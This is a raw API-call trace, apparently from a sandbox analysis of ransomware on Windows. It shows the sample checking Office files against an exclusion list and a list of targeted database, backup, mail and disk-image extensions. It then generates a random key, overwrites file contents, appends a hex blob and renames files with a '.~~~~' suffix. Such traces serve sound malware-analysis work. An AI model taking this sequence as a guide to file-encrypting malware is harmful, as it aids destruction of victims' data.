	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".fdb") returned 0x0
	[0139.709] lstrlenW (lpString=".bak") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".bak") returned 0x0
	[0139.709] lstrlenW (lpString=".myd") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".myd") returned 0x0
	[0139.709] lstrlenW (lpString=".DTXS") returned 5
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DTXS") returned 0x0
	[0139.709] lstrlenW (lpString=".ckp") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".ckp") returned 0x0
	[0139.709] lstrlenW (lpString=".dbt") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dbt") returned 0x0
	[0139.709] lstrlenW (lpString=".db") returned 3
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".db") returned 0x0
	[0139.709] lstrlenW (lpString=".TXT") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".TXT") returned 0x0
	[0139.709] lstrlenW (lpString=".MDF") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".MDF") returned 0x0
	[0139.709] lstrlenW (lpString=".bdb") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".bdb") returned 0x0
	[0139.709] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0139.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.710] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0139.711] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.711] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0139.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0139.711] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25970136367) returned 1
	[0139.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbcb0d6d0, dwHighDateTime=0x1d60e1e)) 
	[0139.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0139.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825f28
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825f28 | out: hHeap=0x300000) returned 1
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399860
	[0139.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399860 | out: hHeap=0x300000) returned 1
	[0139.712] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0139.712] GetLastError () returned 0x0
	[0139.713] GetLastError () returned 0x0
	[0139.713] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0139.713] GetLastError () returned 0x0
	[0139.713] GetLastError () returned 0x0
	[0139.713] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.716] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.716] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0139.717] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.717] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.719] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.719] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.719] CloseHandle (hObject=0xc4) returned 1
	[0139.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399da0
	[0139.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css.~~~~")) returned 1
	[0139.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399da0 | out: hHeap=0x300000) returned 1
	[0139.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0139.722] GetLastError () returned 0x0
	[0139.722] RtlWakeConditionVariable () returned 0x0
	[0139.722] GetCurrentThreadId () returned 0x9f4
	[0139.722] GetCurrentThreadId () returned 0x9f4
	[0139.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0139.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3995c0 | out: hHeap=0x300000) returned 1
	[0139.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825f60 | out: hHeap=0x300000) returned 1
	[0139.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3995c0
	[0139.723] lstrlenW (lpString=".scr") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".scr") returned 0x0
	[0139.723] lstrlenW (lpString=".cmd") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".cmd") returned 0x0
	[0139.723] lstrlenW (lpString=".dll") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dll") returned 0x0
	[0139.723] lstrlenW (lpString=".bat") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".bat") returned 0x0
	[0139.723] lstrlenW (lpString=".cpl") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".cpl") returned 0x0
	[0139.723] lstrlenW (lpString=".sys") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".sys") returned 0x0
	[0139.723] lstrlenW (lpString=".msc") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".msc") returned 0x0
	[0139.723] lstrlenW (lpString=".com") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".com") returned 0x0
	[0139.723] lstrlenW (lpString=".lnk") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".lnk") returned 0x0
	[0139.723] lstrlenW (lpString=".msp") returned 4
	[0139.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".msp") returned 0x0
	[0139.723] lstrlenW (lpString=".pif") returned 4
	[0139.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".pif") returned 0x0
	[0139.724] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0139.726] lstrlenW (lpString=".sqb") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".sqb") returned 0x0
	[0139.726] lstrlenW (lpString=".ost") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".ost") returned 0x0
	[0139.726] lstrlenW (lpString=".txt") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".txt") returned 0x0
	[0139.726] lstrlenW (lpString=".mdt") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".mdt") returned 0x0
	[0139.726] lstrlenW (lpString=".BDB") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".BDB") returned 0x0
	[0139.726] lstrlenW (lpString=".eql") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".eql") returned 0x0
	[0139.726] lstrlenW (lpString=".DBF") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DBF") returned 0x0
	[0139.726] lstrlenW (lpString=".EQL") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".EQL") returned 0x0
	[0139.726] lstrlenW (lpString=".FDB") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".FDB") returned 0x0
	[0139.726] lstrlenW (lpString=".EDB") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".EDB") returned 0x0
	[0139.726] lstrlenW (lpString=".DACPAC") returned 7
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.726] lstrlenW (lpString=".VHD") returned 4
	[0139.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".VHD") returned 0x0
	[0139.726] lstrlenW (lpString=".DBV") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DBV") returned 0x0
	[0139.727] lstrlenW (lpString=".dacpac") returned 7
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dacpac") returned 0x0
	[0139.727] lstrlenW (lpString=".sdf") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".sdf") returned 0x0
	[0139.727] lstrlenW (lpString=".accdb") returned 6
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".accdb") returned 0x0
	[0139.727] lstrlenW (lpString=".DBX") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DBX") returned 0x0
	[0139.727] lstrlenW (lpString=".MDT") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".MDT") returned 0x0
	[0139.727] lstrlenW (lpString=".SQB") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".SQB") returned 0x0
	[0139.727] lstrlenW (lpString=".vhd") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".vhd") returned 0x0
	[0139.727] lstrlenW (lpString=".bac") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".bac") returned 0x0
	[0139.727] lstrlenW (lpString=".mdf") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".mdf") returned 0x0
	[0139.727] lstrlenW (lpString=".BAK") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".BAK") returned 0x0
	[0139.727] lstrlenW (lpString=".BAC") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".BAC") returned 0x0
	[0139.727] lstrlenW (lpString=".dbs") returned 4
	[0139.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dbs") returned 0x0
	[0139.727] lstrlenW (lpString=".vhdx") returned 5
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".vhdx") returned 0x0
	[0139.728] lstrlenW (lpString=".NDF") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".NDF") returned 0x0
	[0139.728] lstrlenW (lpString=".dat") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dat") returned 0x0
	[0139.728] lstrlenW (lpString=".DBS") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DBS") returned 0x0
	[0139.728] lstrlenW (lpString=".CKP") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".CKP") returned 0x0
	[0139.728] lstrlenW (lpString=".edb") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".edb") returned 0x0
	[0139.728] lstrlenW (lpString=".PST") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".PST") returned 0x0
	[0139.728] lstrlenW (lpString=".dbf") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dbf") returned 0x0
	[0139.728] lstrlenW (lpString=".SQL") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".SQL") returned 0x0
	[0139.728] lstrlenW (lpString=".pst") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".pst") returned 0x0
	[0139.728] lstrlenW (lpString=".dbv") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dbv") returned 0x0
	[0139.728] lstrlenW (lpString=".SDF") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".SDF") returned 0x0
	[0139.728] lstrlenW (lpString=".dtxs") returned 5
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dtxs") returned 0x0
	[0139.728] lstrlenW (lpString=".db3") returned 4
	[0139.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".db3") returned 0x0
	[0139.728] lstrlenW (lpString=".OST") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".OST") returned 0x0
	[0139.729] lstrlenW (lpString=".dbx") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dbx") returned 0x0
	[0139.729] lstrlenW (lpString=".DB3") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DB3") returned 0x0
	[0139.729] lstrlenW (lpString=".DAT") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DAT") returned 0x0
	[0139.729] lstrlenW (lpString=".VHDX") returned 5
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".VHDX") returned 0x0
	[0139.729] lstrlenW (lpString=".ndf") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".ndf") returned 0x0
	[0139.729] lstrlenW (lpString=".DB") returned 3
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DB") returned 0x0
	[0139.729] lstrlenW (lpString=".sql") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".sql") returned 0x0
	[0139.729] lstrlenW (lpString=".MYD") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".MYD") returned 0x0
	[0139.729] lstrlenW (lpString=".DBT") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DBT") returned 0x0
	[0139.729] lstrlenW (lpString=".ACCDB") returned 6
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.729] lstrlenW (lpString=".fdb") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".fdb") returned 0x0
	[0139.729] lstrlenW (lpString=".bak") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".bak") returned 0x0
	[0139.729] lstrlenW (lpString=".myd") returned 4
	[0139.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".myd") returned 0x0
	[0139.730] lstrlenW (lpString=".DTXS") returned 5
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".DTXS") returned 0x0
	[0139.730] lstrlenW (lpString=".ckp") returned 4
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".ckp") returned 0x0
	[0139.730] lstrlenW (lpString=".dbt") returned 4
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".dbt") returned 0x0
	[0139.730] lstrlenW (lpString=".db") returned 3
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".db") returned 0x0
	[0139.730] lstrlenW (lpString=".TXT") returned 4
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".TXT") returned 0x0
	[0139.730] lstrlenW (lpString=".MDF") returned 4
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".MDF") returned 0x0
	[0139.730] lstrlenW (lpString=".bdb") returned 4
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".bdb") returned 0x0
	[0139.730] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0139.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.730] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0139.731] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.731] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0139.732] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25972192295) returned 1
	[0139.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbcb33830, dwHighDateTime=0x1d60e1e)) 
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
